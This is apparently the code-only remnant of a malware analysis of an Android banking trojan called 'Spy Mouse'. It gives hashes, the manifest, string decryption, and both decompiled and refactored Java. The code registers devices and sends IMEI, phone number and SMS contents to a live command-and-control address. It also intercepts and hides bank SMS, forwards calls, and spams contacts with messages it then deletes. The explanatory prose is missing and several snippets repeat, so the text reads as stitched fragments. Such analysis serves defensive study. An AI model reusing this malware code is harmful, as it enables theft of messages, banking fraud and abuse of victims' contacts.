2019-02-28 14:14:1312796人阅读
MD5: a1b5c184d447eaac1ed47bc5a0db4725 SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2 SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139 File type: application/java-archive File size: 535.6 KB Detection rate: 32 / 61
private Context context; /** * This is the renamed function, which was previously named "q". */public Context getContext() { return context;} /** * This is the newly added function, which relies on the original instead of the refactored name. */public String x() { return q.LAUNCHER_APPS_SERVICE;}
<?xml version="1.0" encoding="utf-8"?><manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-sdk android:minSdkVersion="9" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true"> <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" /> <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" /> <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.SCREEN_ON" /> <category android:name="android.intent.category.HOME" /> </intent-filter> </receiver> <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> <meta-data android:name="stopOnDeviceLock" android:value="false" /> <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" /> <meta-data android:name="preventRestart" android:value="true" /> <intent-filter> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" /> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver> <receiver android:name="org.starsizew.Ma"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application></manifest>
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>
<string name="app_name">Spy Mouse</string>
<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.SCREEN_ON" /> <category android:name="android.intent.category.HOME" /> </intent-filter></receiver>
<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> <meta-data android:name="stopOnDeviceLock" android:value="false" /> <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" /> <meta-data android:name="preventRestart" android:value="true" /> <intent-filter> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" /> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter></receiver>
<receiver android:name="org.starsizew.Ma"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter></receiver>
protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(2130903040); Context applicationContext = getApplicationContext(); applicationContext.startService(new Intent(applicationContext, Tb.class)); ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z)); if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) { q(); }}
private void q() { Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class)); startActivityForResult(intent, 100);}
public class Aa extends DeviceAdminReceiver { public void onDisabled(Context context, Intent intent) { super.onDisabled(context, intent); } public void onEnabled(Context context, Intent intent) { super.onEnabled(context, intent); } public void onPasswordChanged(Context context, Intent intent) { super.onPasswordChanged(context, intent); }}
private static final String[] q = new String[]{q(q("-]aK\u001f/Yx\n\u0010blU!!")), q(q("-Cu\u0017\u0011%I?\u0004\u000e<\u0003t\u001d\n>L?"))}; private static String q(char[] cArr) { int length = cArr.length; for (int i = 0; length > i; i++) { int i2; char c = cArr[i]; switch (i % 5) { case 0: i2 = 76; break; case 1: i2 = 45; break; case 2: i2 = 17; break; case 3: i2 = 101; break; default: i2 = TransportMediator.KEYCODE_MEDIA_PLAY; break; } cArr[i] = (char) ((char) (i2 ^ c)); } return new String(cArr).intern();} private static char[] q(String str) { char[] toCharArray = str.toCharArray(); if (toCharArray.length < 2) { toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY)); } return toCharArray;}
app.action.ADD_ android.app.extra.
protected void onCreate(Bundle bundle){ //[omitted] applicationContext.startService(new Intent(applicationContext, Tb.class)); ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z)); if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) { q(); }}
package org.starsizew; public final class o { public static String E = new StringBuilder(q(q("}5\u0005"))).append(f).append(q(q("C0"))).toString(); public static String Q = (b + y + o + y + q(q("C1\u00031hL")) + y + s); public static String R = q(q("r\u001d$\f")); public static String T = q(q("V;\u001a=")); public static String W = q(q("C>\u0016*j")); public static int Y; public static String a = (b + q(q("\f3\u0007()G*\u0003*f"))); public static String b = q(q("C<\u0013*hK6")); public static String c = q(q("R:\u00186b")); public static String d = q(q("V7\u001b")); public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString(); public static String f = ""; public static String g = q(q("\u001bbG")); public static String h = q(q("Q?\u0004")); public static String i = (b + y + o + y + q(q("C1\u00031hL|\u0002+tF|\u00186"))); public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}\u00002\u001bBk\u00042\u001c"))).toString(); public static String k = q(q("C0\u0018*s")); public static String l = q(q("` \u00189cA3\u0004,")); public static String m = q(q("e\u0017#")); public static String n = (p + q(q("}\"\u00184nA+"))); public static String o = q(q("K<\u0003=iV")); public static String p = q(q("F7\u00011dG")); public static String q = (b + q(q("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + j); public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("G\r"))).toString(); public static String s = q(q("a\u0013;\u0014")); public static String t = new StringBuilder(q(q("M\"\u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=\u0005"))).toString(); public static String u = (T + q(q("}\"\u0012*")) + f + q(q("G:\u0001"))); public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}\u00133\u0015Nl"))).toString(); public static String w = q(q("v7\u000f,JG!\u00049`G")); public static int x = 1; public static String y = "."; public static int z = 0; private static String q(char[] cArr) { int length = cArr.length; for (int i = 0; length > i; i++) { int i2; char c = cArr[i]; switch (i % 5) { case 0: i2 = 34; break; case 1: i2 = 82; break; case 2: i2 = 119; break; case 3: i2 = 88; break; default: i2 = 7; break; } cArr[i] = (char) ((char) (i2 ^ c)); } return new String(cArr).intern(); } private static char[] q(String str) { char[] toCharArray = str.toCharArray(); if (toCharArray.length < 2) { toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7)); } return toCharArray; }}
package org.starsizew; public final class StringDatabase { public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5\u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString(); public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL")) + dot + CALL); public static String POST = decryptCharArray(decryptString("r\u001d$\f")); public static String time = decryptCharArray(decryptString("V;\u001a=")); public static String alarm = decryptCharArray(decryptString("C>\u0016*j")); public static int integerZero; public static String AndroidAppExtra = (android + decryptCharArray(decryptString("\f3\u0007()G*\u0003*f"))); public static String android = decryptCharArray(decryptString("C<\u0013*hK6")); public static String phone = decryptCharArray(decryptString("R:\u00186b")); public static String tel = decryptCharArray(decryptString("V7\u001b")); public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString(); public static String emptyString = ""; public static String integer900 = decryptCharArray(decryptString("\u001bbG")); public static String sms = decryptCharArray(decryptString("Q?\u0004")); public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL|\u0002+tF|\u00186"))); public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}\u00002\u001bBk\u00042\u001c"))).toString(); public static String abort = decryptCharArray(decryptString("C0\u0018*s")); public static String Broadcast = decryptCharArray(decryptString("` \u00189cA3\u0004,")); public static String GET = decryptCharArray(decryptString("e\u0017#")); public static String device_policy = (device + decryptCharArray(decryptString("}\"\u00184nA+"))); public static String intent = decryptCharArray(decryptString("K<\u0003=iV")); public static String device = decryptCharArray(decryptString("F7\u00011dG")); public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + SMS_RECEIVED); public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("G\r"))).toString(); public static String CALL = decryptCharArray(decryptString("a\u0013;\u0014")); public static String operator = new StringBuilder(decryptCharArray(decryptString("M\"\u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=\u0005"))).toString(); public static String time_perehv = (time + decryptCharArray(decryptString("}\"\u0012*")) + emptyString + decryptCharArray(decryptString("G:\u0001"))); public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}\u00133\u0015Nl"))).toString(); public static String TextMessage = decryptCharArray(decryptString("v7\u000f,JG!\u00049`G")); public static int integerTrue = 1; public static String dot = "."; public static int integerFalse = 0; //Decryption functions are omitted for brevity}
Context applicationContext = getApplicationContext();applicationContext.startService(new Intent(applicationContext, Tb.class));
public void onCreate() { super.onCreate(); q = true; this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse); new Thread(new u(this)).start();}
[public.xml]<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" /> [strings.xml]<string name="PREFS_NAME">AppPrefs</string>
public IBinder onBind(Intent intent) { throw new UnsupportedOperationException(stringError);}
public void onDestroy() { super.onDestroy(); isActive = false; Intent intent = new Intent(this, Tb.class); intent.setFlags(268435456); startService(intent);}
package org.starsizew; final class u implements Runnable { final Mainservice mainService; u(Mainservice mainService) { this.mainService = mainService; } public final void run() { this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse); }}
public Handler r = new Handler();public Runnable t = new w(this);
package org.starsizew; final class u implements Runnable { final Mainservice mainService; u(Mainservice mainService) { this.mainService = mainService; } public final void run() { this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse); }}
public final void run() { boolean z = MainService.e; if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) { Editor edit = this.mainService.sharedPreferences.edit(); edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue); edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653)); edit.putString(StringDatabase.inst, "1"); edit.putLong(StringDatabase.time_perehv, 100); edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString()); edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId()); edit.apply(); } List arrayList = new ArrayList(); if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") { new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)}); } else { new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)}); } this.mainService.handler.postDelayed(this, (long) Constants.int50005); if (z) { StringDatabase.integerZero++; }}
public final void run() { boolean z = MainService.e; if (!this.mainService.sharedPreferences.contains("one_inst")) { Editor edit = this.mainService.sharedPreferences.edit(); edit.putInt("one_inst1"); edit.putString("url", "http://37.1.207.31/api/?id=7"); edit.putString("inst", "1"); edit.putLong("time_perehv", 100); edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString()); edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId()); edit.apply(); } List arrayList = new ArrayList(); if (this.mainService.sharedPreferences.getString("inst", null) == "1") { new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)}); } else { new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)}); } this.mainService.handler.postDelayed(this, 50005); if (z) { StringDatabase.integerZero++; }}
static TelephonyManager q(Context context) { return (TelephonyManager) context.getSystemService(StringDatabase.phone);}
static TelephonyManager getTelephonyManager(Context context) { return (TelephonyManager) context.getSystemService(StringDatabase.phone);}
public static boolean q(String str, String str2) { try { Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager"); Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]); Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class}); Object[] objArr = new Object[5]; objArr[0] = str; objArr[2] = str2; method.invoke(invoke, objArr); } catch (Exception e) { } return false;}
public void sendTextMessage (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)
public static boolean sendSms(String destinationAddress, String text) { try { Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager"); Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]); Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class}); Object[] objectArray = new Object[5]; objectArray[0] = destinationAddress; objectArray[2] = text; methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray); } catch (Exception e) { } return false;}
protected final Object doInBackground(Object[] objArr) { Object obj = null; boolean z = true; boolean z2 = MainService.e; String str = ((String[]) objArr)[StringDatabase.integerFalse]; t tVar = new t(); this.e.add(new BasicNameValuePair("method", this.r)); this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null))); if (this.r.startsWith("install")) { String str2 = "POST"; this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName())); this.e.add(new BasicNameValuePair("model", Build.MODEL)); this.e.add(new BasicNameValuePair("os", VERSION.RELEASE)); this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number())); this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId())); this.e.add(new BasicNameValuePair("version", s.w)); this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry())); obj = t.q(str, "POST", this.e); } else if (this.r.startsWith("info")) { obj = t.q(str, "POST", this.e); } else if (this.r.startsWith("sms")) { obj = t.q(str, "POST", this.e); } if (StringDatabase.integerZero != 0) { if (z2) { z = false; } MainService.e = z; } return obj;}
public static JSONObject q(String url, String var1, List var2) { boolean var10001; label66: { DefaultHttpClient defaultHttpClient; try { if (var1 == "POST") { defaultHttpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url); UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8"); httpPost.setEntity(urlEncodedFormEntity); inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent(); break label66; } } catch (Throwable var12) { var10001 = false; break label66; } try { if (var1 == "GET") { defaultHttpClient = new DefaultHttpClient(); String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8"); StringBuilder var3 = new StringBuilder(String.valueOf(url)); HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString()); inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent(); } } catch (Throwable var11) { var10001 = false; } } label55: { BufferedReader var14; StringBuilder var20; try { InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1"); var14 = new BufferedReader(var18, 8); var20 = new StringBuilder(); } catch (Throwable var10) { var10001 = false; break label55; } while (true) { try { var1 = var14.readLine(); } catch (Throwable var8) { var10001 = false; break; } if (var1 == null) { try { inputStream.close(); w = var20.toString(); break; } catch (Throwable var7) { Throwable var15 = var7; try { throw var15; } catch (Throwable var6) { var10001 = false; break; } } } try { var20.append(var1).append("\n"); } catch (Throwable var9) { var10001 = false; break; } } } try { JSONObject var16 = new JSONObject(w); jsonObject = var16; } catch (Throwable var5) { } return jsonObject;}
public static JSONObject callC2(String url, String httpMethod, List parameters) { boolean var10001; label66: { DefaultHttpClient httpClient; try { if (httpMethod == "POST") { httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url); UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8"); httpPost.setEntity(urlEncodedFormEntity); inputStream = httpClient.execute(httpPost).getEntity().getContent(); break label66; } } catch (Throwable throwable) { var10001 = false; break label66; } try { if (httpMethod == "GET") { httpClient = new DefaultHttpClient(); String encodedParameters = URLEncodedUtils.format(parameters, "utf-8"); StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder)); HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString()); inputStream = httpClient.execute(httpGet).getEntity().getContent(); } } catch (Throwable throwable) { var10001 = false; } } label55: { BufferedReader bufferedReader; StringBuilder stringBuilder; try { InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1"); bufferedReader = new BufferedReader(inputStreamReader, 8); stringBuilder = new StringBuilder(); } catch (Throwable var10) { var10001 = false; break label55; } while (true) { try { httpMethod = bufferedReader.readLine(); } catch (Throwable throwable) { var10001 = false; break; } if (httpMethod == null) { try { inputStream.close(); serverResponseRaw = stringBuilder.toString(); break; } catch (Throwable throwable) { Throwable throwable2 = throwable; try { throw throwable2; } catch (Throwable throwable1) { var10001 = false; break; } } } try { stringBuilder.append(httpMethod).append("\n"); } catch (Throwable throwable) { var10001 = false; break; } } } try { JSONObject serverResonseJson = new JSONObject(serverResponseRaw); ServerCommunicator.serverResponseJson = serverResonseJson; } catch (Throwable throwable) { } return serverResponseJson;}
protected final Object doInBackground(Object[] urlArray) { Object var2 = null; boolean var3 = false; boolean var4 = MainService.e; String url = ((String[]) urlArray)[0]; ServerCommunicator serverCommunicator = new ServerCommunicator(); this.parameters.add(new BasicNameValuePair("method", this.command)); this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null))); JSONObject serverResponse; if (this.command.startsWith("install")) { String POST = "POST"; this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName())); this.parameters.add(new BasicNameValuePair("model", Build.MODEL)); this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE)); this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number())); this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId())); this.parameters.add(new BasicNameValuePair("version", Constants.version)); this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry())); serverResponse = ServerCommunicator.callC2(url, POST, this.parameters); } else if (this.command.startsWith("info")) { serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters); } else { serverResponse = (JSONObject) var2; if (this.command.startsWith("sms")) { serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters); } } if (StringDatabase.integerZero != 0) { if (!var4) { var3 = true; } MainService.e = var3; } return serverResponse;}
public final class Constants { public static int int50005 = 50005; public static String version = "5";}
//[omitted]try { if(v15.equals(String.valueOf(o.h) + o.E)) { this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit(); } if(v15.equals(String.valueOf(o.h) + i.t[18])) { i.q(v8.optString(i.t[33]), v8.optString(o.c)); } if(v15.equals(i.t[21] + o.f + i.t[16])) { v16 = v8.optString(i.t[33]); v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null); if(v17 != null) { goto label_125; } goto label_132; } goto label_160;} catch(Throwable v2) { return;} try { label_125: if(v17.getCount() > o.z) { goto label_128; } goto label_132;} catch(Throwable v2) { goto label_273;}//[omitted]
protected final void onPostExecute(JSONArray commandJson) { String command = commandJsonArray[0]; switch (command) { case "install_true": sharedPreferenceEditor.putString("inst", "2").commit(); break; case "call_number": TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#"); new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time")))); break; case "sms_grab": Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis(); sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit(); break; case "sms_send": sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone")); break; case "delivery": TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#"); String smsMessage = commandJson.optString("text"); String recipientPhoneNumber; Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null); Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null); if (allContacts.getCount() > 0 && contactIds.getCount() > 0) { for (int i = 1; i < 30; i++) { if (allContacts.moveToNext()) { if (contactIds.moveToFirst()) { recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1")); if (recipientPhoneNumber != null) { sendAndRemoveMessage(smsMessage, recipientPhoneNumber); } } } } } break; case "new_url": String url = commandJson.optString("text"); if (url.length() > 10) { sharedPreferenceEditor.putString("url", url).commit(); sharedPreferenceEditor.putString("inst", "1").commit(); } break; case "ussd": TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone")); break; }}
case "install_true": sharedPreferenceEditor.putString("inst", "2").commit(); break;
case "call_number": TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#"); new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time")))); break;
public final void run() { new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");}
case "sms_grab": Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis(); sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit(); break;
private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) { StringBuilder stringBuilder = new StringBuilder(); for (SmsMessage messageBody : smsMessageArray) { stringBuilder.append(messageBody.getMessageBody()); } return stringBuilder.toString();}
public void onReceive(Context context, Intent intent) { String intentAction; context.startService(new Intent(context, MainService.class)); this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0); try { intentAction = intent.getAction(); } catch (Throwable th) { intentAction = ""; } Object[] objArr = (Object[]) intent.getExtras().get("pdus"); if (isActive || objArr != null) { SmsMessage[] smsMessageArray = new SmsMessage[objArr.length]; long j = this.sharedPreferences.getLong("time_perehv", 0); if (System.currentTimeMillis() < Long.valueOf(j).longValue()) { this.w = true; } if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) { this.w = true; } if (this.w && intent != null && intentAction != null) { if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) { String displayOriginatingAddress; for (int i = 0; i < objArr.length; i++) { smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]); SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]); displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress(); new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000); } String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray); displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress(); List parameters = new ArrayList(); parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress)); parameters.add(new BasicNameValuePair("text", allSmsMessageBodies)); new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)}) ; try { q(); return; } catch (Exception e) { return; } } return; } return; } throw new AssertionError();}
public final void run() { ((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll(); TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);}
private boolean q() { try { Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]); } catch (Throwable th) { } return true;}
public void onReceive(Context context, Intent intent) { String intentAction; context.startService(new Intent(context, MainService.class)); this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0); try { intentAction = intent.getAction(); } catch (Throwable th) { intentAction = ""; } Object[] objArr = (Object[]) intent.getExtras().get("pdus"); if (isActive || objArr != null) { SmsMessage[] smsMessageArray = new SmsMessage[objArr.length]; long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0); if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) { this.shouldBlock = true; } if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) { this.shouldBlock = true; } if (this.shouldBlock && intent != null && intentAction != null) { if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) { String displayOriginatingAddress; for (int i = 0; i < objArr.length; i++) { smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]); SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]); displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress(); new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000); } String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray); displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress(); List parameters = new ArrayList(); parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress)); parameters.add(new BasicNameValuePair("text", allSmsMessageBodies)); new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)}) ; try { abortBroadcastWrapper(); return; } catch (Exception e) { return; } } return; } return; } throw new AssertionError();}
case "sms_send": sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone")); break;
private static void sendAndRemoveMessage(String message, String numberTo) { if (numberTo != null && message != null) { TelephonyManagerWrapper.sendSms(numberTo, message); (new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L); }}
final class RemoveAllSentMessagesRunnable implements Runnable { private final String message; private final String numberTo; RemoveAllSentMessagesRunnable(String message, String numberTo) { this.message = message; this.numberTo = numberTo; } public final void run() { TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo); }}
case "ussd": TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone")); break;
case "delivery": TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#"); String smsMessage = commandJson.optString("text"); String recipientPhoneNumber; Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null); Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null); if (allContacts.getCount() > 0 && contactIds.getCount() > 0) { for (int i = 1; i < 30; i++) { if (allContacts.moveToNext()) { if (contactIds.moveToFirst()) { recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1")); if (recipientPhoneNumber != null) { sendAndRemoveMessage(smsMessage, recipientPhoneNumber); } } } } } break;
case "new_url": String url = commandJson.optString("text"); if (url.length() > 10) { sharedPreferenceEditor.putString("url", url).commit(); sharedPreferenceEditor.putString("inst", "1").commit(); } break;
